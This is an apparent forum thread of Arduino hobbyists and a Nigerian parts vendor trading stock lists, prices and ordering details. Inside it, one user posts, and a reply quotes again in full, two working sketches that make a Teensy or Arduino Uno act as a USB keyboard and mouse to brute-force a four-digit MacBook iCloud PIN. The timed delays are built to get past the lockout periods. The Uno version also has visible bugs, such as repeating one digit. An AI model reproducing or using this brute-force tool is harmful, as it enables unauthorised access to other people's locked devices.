princejude:
Latest Arrival 30% discount:

ADXL335 ACCELEROMETER
ARDUINO UNO mega328 pdip
ARDUINO UNO mega328 smd
HC-SR04 ULTRASONIC
L298N MOTOR DRIVER
MQ-2 GAS SENSOR
LM3940 IT-3.3V Regulator
BC547
BC557
PIC18F2550-PDIP
DHT11
HC-SR501 PIR MOTION SENSOR
RELAY MODULE
U-BLOX GPS MODULE
SIM900 GSM
1uF/50V
10uF/50V
100uF/50V
22pF
Flame Sensor
SOIL MOISTURE SENSOR HYGROMETER
TK103 CAR TRACKER
CP2102 USB TO TTL
502 5K Blue trimmer Adjust Resistor
BUZZER BLACK
ARDUINO JUMPER WIRE
6X1 CABLE with female header FOR PICKIT3
ENC28J60/SD CARD MODULE
8p dupont 2.54mm pitch cable with female
4p dupont 2.54mm pitch cable with female
2p dupont 2.54mm pitch cable with female
28 pin IC Socket
40 pin IC Socket
2.54MM RIBBON CABLE (5meters)

http://www.jutronix.com/new-arrivals/

I will need three NEMA 23 Servos at good prices if you have them.

9free:


I will need three NEMA 23 Servos at good prices if you have them.

NEMA 23 Servos or stepper motors?
What specification ?

princejude:


NEMA 23 Servos or stepper motors?
What specification ?

Sorry, Steppers.
Specs: 24V, 5A(max) and bipolar.

princejude:


NEMA 23 Servos or stepper motors?
What specification ?

I could have have you ship boards directly to a fellow NLer who's in Abia since you're in Nigeria I would've paid you in usd, as I'm in the U.S.

Instead I'm paying high shipping fees to ship from US after seeing a vendor's ad on Niaraland. They never answered the phone or responded to emails buyers beware

simple hacks.Modified strobe code.

/**************************************/
const int lowestPin = 2;//the lowest one attach to
const int highestPin = 9;//the highest one attach to 
/**************************************/
void setup()
{
  //set pins 1 through 6 as output  
  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
     pinMode(thisPin,OUTPUT); //initialize thisPin as an output
  }
} 
/****************************************/
void loop()
{
  //iterate over the pins
  //turn the led on from lowest to the highest
  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
    digitalWrite(thisPin,HIGH);//turn this led on
    delay(100);//wait for 100 microseconds
  }
  //fade from the highest to the lowest
  for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    digitalWrite(thisPin,LOW);//turn this led off
    delay(100);//wait for 100 microseconds
  }
  for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    digitalWrite(thisPin,HIGH);//turn this led off
    delay(100);//wait for 100 microseconds
  }
  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
    digitalWrite(thisPin,LOW);//turn this led on
    delay(100);//wait for 100 microseconds
  }
  
  
    for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    if (thisPin%2 == 0){
      
      digitalWrite(thisPin,HIGH);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }


 for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    if (thisPin%2 == 0){
      
      digitalWrite(thisPin,LOW);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }


  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
   if (thisPin%2 == 0){
      
      digitalWrite(thisPin,HIGH);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }
  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
   if (thisPin%2 == 0){
      
      digitalWrite(thisPin,LOW);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }


  
   for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    if (thisPin%2 == 1){
      
      digitalWrite(thisPin,HIGH);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }
 for(int thisPin = highestPin;thisPin>=lowestPin;thisPin--)
  {
    if (thisPin%2 == 1){
      
      digitalWrite(thisPin,LOW);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }


  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
   if (thisPin%2 == 1){
      
      digitalWrite(thisPin,HIGH);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }

  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {
   if (thisPin%2 == 1){
      
      digitalWrite(thisPin,LOW);//turn this led off
    delay(100);//wait for 100 microseconds
    }
  }

  for(int thisPin = lowestPin;thisPin <= highestPin;thisPin++)
  {

      digitalWrite(thisPin, HIGH); delay(50);digitalWrite(thisPin, LOW); delay(50);digitalWrite(thisPin, HIGH); delay(50);digitalWrite(thisPin, LOW); delay(50);digitalWrite(thisPin, HIGH); delay(50);digitalWrite(thisPin, LOW); delay(50);
			digitalWrite(thisPin, HIGH);
    
  }



  for(int thisPin = highestPin;thisPin >= lowestPin;thisPin--)
  {
 			digitalWrite(thisPin, LOW); delay(50);digitalWrite(thisPin, HIGH); delay(50);digitalWrite(thisPin, LOW); delay(50);digitalWrite(thisPin, HIGH); delay(50);digitalWrite(thisPin, LOW); delay(50);digitalWrite(thisPin, HIGH); delay(50);
			digitalWrite(thisPin, LOW);
  }
  
}

Sir, I need jumper cables, a whole lot of 'em and female and Male pins.. Maybe 5 each. #50 for one..ryt?

Can I have your whatsapp contact? Or email?

Coming Soon!!!
1. PCB drilling bits (1 set = 0.3mm, 0.4mm, 0.5mm, 0.6mm, 0.7mm, 0.8mm, 0.9mm, 1.0mm, 1.1mm, 1.2mm)
2. NRF24L01+ WIRELESS MODULE (Upgrade Version)
3. NRF24L01+ (Power Enhanced)
4. NRF24L01+PA+LNA wireless modules 1100meters (with Antenna)
5. MQ-7 Module
6. PIC18F4520
7. USBasp AVR and 8051 Programmer
And more....

.... www.jutronix.com

princejude:
Coming Soon!!!
1. PCB drilling bits (1 set = 0.3mm, 0.4mm, 0.5mm, 0.6mm, 0.7mm, 0.8mm, 0.9mm, 1.0mm, 1.1mm, 1.2mm)
2. NRF24L01+ WIRELESS MODULE (Upgrade Version)
3. NRF24L01+ (Power Enhanced)
4. NRF24L01+PA+LNA wireless modules 1100meters (with Antenna)
5. MQ-7 Module
6. PIC18F4520
7. USBasp AVR and 8051 Programmer
And more....

.... www.jutronix.com

I need jumper cables and pins. How much do you sell 'em?

MockinJay:


I need jumper cables and pins. How much do you sell 'em?

The Arduino jumper cable is N20 for one



2p dupont cable 20cm long N50



4p dupont cable 20cm long N100



6p dupont cable 20cm long N150



8p dupont cable 20cm long N200



10 line 2.54mm Pitch Ribbon Cable 25cm long N100

I'm surprised how fast I went through my resistors. Too bad you don't distribute in the US princejude

AAinEqGuinea:
I'm surprised how fast I went through my resistors. Too bad you don't distribute in the US princejude

What actually do you want ? If the value of it can cover the shipping charges, we can have a deal.

princejude:


What actually do you want ? If the value of it can cover the shipping charges, we can have a deal.

How much are your Ethernet shields? I already have one coming from China. I need one more if the price is right, but I'm pretty sure shipping will outweigh the cost of the shield.

On a different note, I just shipped an Arduino to Nigeria from the US, it was $40 just to ship, which was more than the Arduino. I may need to ship another soon and I'll order from you this time. How much for the board?

Let me know how much your shield cost as well

AAinEqGuinea:


How much are your Ethernet shields? I already have one coming from China. I need one more if the price is right, but I'm pretty sure shipping will outweigh the cost of the shield.

On a different note, I just shipped an Arduino to Nigeria from the US, it was $40 just to ship, which was more than the Arduino. I may need to ship another soon and I'll order from you this time. How much for the board?

Let me know how much your shield cost as well

ENC28J60 Ethernet board is $7 and Arduino uno is $23.To reduce the shipping charge, it is better to buy more things so that they will share the cost.

princejude:


ENC28J60 Ethernet board is $7 and Arduino uno is $23.To reduce the shipping charge, it is better to buy more things so that they will share the cost.

I'm going to need shields for this project, as the board sacrifices 6 pins but the shield keeps yet propagates all pins..the added load is fine



I'm sure I'll still need to buy a uno board and have it shipped in Nigeria in the future . In fact I like your entire inventory, the only downside is US/Nigerian customs

princejude:


The Arduino jumper cable is N20 for one

How do I pay? How/when/where do I get the good?

I know paying for this the jumper cables is somehow. So I would also get an Arduino uno board with breadboard. Sum total is what?? Did I hear u say, "special discount for NLanders? How thoughtful of you, Sir.

Modified: It's a US/Nigeria transaction??
Lemme hear the price tho

MockinJay:


How do I pay? How/when/where do I get the good?

I know paying for this the jumper cables is somehow. So I would also get an Arduino uno board with breadboard. Sum total is what?? Did I hear u say, "special discount for NLanders? How thoughtful of you, Sir.

Modified: It's a US/Nigeria transaction??
Lemme hear the price tho

How many of the jumper wire do you want ?
And which type of Arduino uno do you want. DIP or SMD type ?

princejude:


How many of the jumper wire do you want ?
And which type of Arduino uno do you want. DIP or SMD type ?

Got a change of mind. Do u have Arduino Starter Kit? Since the kit contains almost everything I need then it's best I opt in for that one.

If u don't have it, then #200 jumper cables. That would be how many pieces exactly?


Uno DIP

Is/are there any difference(s) between the DIP and SMD? I would definitely like to go for the one with the lesser price tag.

#Boiz_Aint_Smiling

You are yet to reply the transaction and shipping details..this stuff scares me

MockinJay:


Got a change of mind. Do u have Arduino Starter Kit? Since the kit contains almost everything I need then it's best I opt in for that one.

If u don't have it, then #200 jumper cables. That would be how many pieces exactly?


Uno DIP

I can arrange a starter kit for you because I have almost all the sensors and modules you can think of. It all depends on the ones you want to work with. Just tell me the sensors/modules you want to be included and I will tell you the cost.

N200 will be 10 pieces

MockinJay:
Is/are there any difference(s) between the DIP and SMD? I would definitely like to go for the one with the lesser price tag.

#Boiz_Aint_Smiling

You are yet to reply the transaction and shipping details..this stuff scares me

The only difference between DIP (Dual-Inline-Package) and SMD (Surface Mount Device) is the Atmega328 package type used.



When you are ready, just call me on 08030674883 and I will give you my bank details. If I confirm your payment, I will process your parcel and send it to you within 48hrs through courier or transport buses. If you are in Nigeria, you will add N2000 shipment fee. You don't need to be scared of anything because I have some customers that are nairalanders.

i used my Uno R3 with a sketch modified from Teensy and flashed USB keyboard bin to unlock a friend's Macbook Pro's forgotten iCloud 4 digit pin.

The Teensy code is:

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}

void loop(){
keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(100503);
digitalWrite(ledPin, LOW);
delay(7049);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(405);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

And the modified Arduino was


#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(30000);
Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
if (loops == 5){
delay(61000);
}
//lets wait 5 minutes and one second
else if (loops == 6){
delay(301000);
}
//lets wait 15 minutes and 1 second
else if (loops == 7){
delay(901000);
loops = 0;
}
//lets get to work
if (counter <= 9999){
delay(1500);
digitalWrite(ledPin, LOW);
Mouse.click();
delay(800);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[1]);
delay(450);
Keyboard.release(pin[1]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(KEY_RETURN);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
++loops;
fakecounter = counter;
}


since the Uno doesnt have a native HID fucntion, had to flash sbkeyboard and usbmouse sketches. so keyboard_modifier_keys = 0; had to be removed, and KEY_ENTER to KEY_RETURN modified to:

Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(RETURN);


Also, i had to adjust the 'delay(n)' parameter otherwise some key presses were not registered while the counter adds to the loop.

ExInferis:
i used my Uno R3 with a sketch modified from Teensy and flashed USB keyboard bin to unlock a friend's Macbook Pro's forgotten iCloud 4 digit pin.

The Teensy code is:

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}

void loop(){
keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
if (firstloop >= 5){
delay(61000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and one second
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(301000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 1 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(901000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(100503);
digitalWrite(ledPin, LOW);
delay(7049);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(405);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

And the modified Arduino was


#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCloud
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(30000);
Mouse.begin();
}
void loop(){
//lets wait 1 minute and 1 second
if (loops == 5){
delay(61000);
}
//lets wait 5 minutes and one second
else if (loops == 6){
delay(301000);
}
//lets wait 15 minutes and 1 second
else if (loops == 7){
delay(901000);
loops = 0;
}
//lets get to work
if (counter <= 9999){
delay(1500);
digitalWrite(ledPin, LOW);
Mouse.click();
delay(800);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[1]);
delay(450);
Keyboard.release(pin[1]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(KEY_RETURN);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
++loops;
fakecounter = counter;
}


since the Uno doesnt have a native HID fucntion, had to flash sbkeyboard and usbmouse sketches. so keyboard_modifier_keys = 0; had to be removed, and KEY_ENTER to KEY_RETURN modified to:

Keyboard.press(KEY_RETURN);
delay(305);
Keyboard.release(RETURN);


Also, i had to adjust the 'delay(n)' parameter otherwise some key presses were not registered while the counter adds to the loop.

Nice!

My first shield has arrived, Im excited to finally add arduino to distributed approaches, thus I will be looking busy this morning at my job but really testing the shields power to the self-employed

Anyone with experience with Ethernet/storage shield? Reliable?

AAinEqGuinea:
My first shield has arrived, Im excited to finally add arduino to distributed approaches, thus I will be looking busy this morning at my job but really testing the shields power to the self-employed

Anyone with experience with Ethernet/storage shield? Reliable?

Very reliable. Home equipment control over the internet tinz.......

princejude:
Arduino Workshop LIVE in Enugu 12th June. Don't miss it...

it's that time, I need to make an order for a prototype we're building.

Cc: Pakingzzz

specs of the stepper motors

September Arrivals

ISD1820 Voice Recording Module
TDA2030 Amplifier Module
W5100 Ethernet Shield
9 Pin 10k A09-103 Resistor pack
8 Channel Relay module
microSD Card Module
CP2102 USB-TO-TTL
L7805CV
ST Link V2
STM32F103C8T6 ARM Minimum Board
Electronic Door Lock
MB-102 (830 Point) Bread Board
20cm Dupont male – female
20cm Dupont male – male
GPS Receiver
MG995 Metal Gear Servo
MG90S Metal Gear Mini Servo
SG90 Mini Servo
Stepper Motor with ULN2003 motor driver board
LM35 Temperature Sensor
HLK-PM01 AC-DC 220V to 5V mini power supply
RFID NFC PN532 Shield
MLX90614 Contactless Temperature Sensor Module
DHT11 Temperature And Relative Humidity Sensor Module
Servo Pan/Tilt Anti-Vibration Camera Mount
Kinsten Positive Acting Presensitized Single-sided PCB PP1015 (10×15)cm x 1.6mm
Kinsten Positive Acting Presensitized Double-sided PCB PP1015 (10×15)cm x 1.6mm
FR4 PCB Single Side Copper Clad Board. 70 x 100 x 1.5 mm
FR4 PCB Double-Side Copper Clad Board, 150 * 100 * 1.6 mm
1W Zener diode 3.3v -30V
DIY KIT GSM GPRS 900 – 1800 MHz Short Message Service SMS module
Robotic Arm
MQ-137 Ammonia Gas Sensor
PH Level Sensor Module

Please where can i get the Arduino Stater Kit. I'm currently in Lagos @Ajah.

Focusedaliu:
Please where can i get the Arduino Stater Kit. I'm currently in Lagos @Ajah.

It is available in our Store. We can send it to your location with N1500 shipment fee.

For all your microcontrollers/arduino components and shields buy from us on konga ; konga.com/faithtechnologies

arduino:
For all your microcontrollers/arduino
components and shields buy from us on konga
; konga.com/faithtechnologies

Is Arduino a name of person, place or thing ?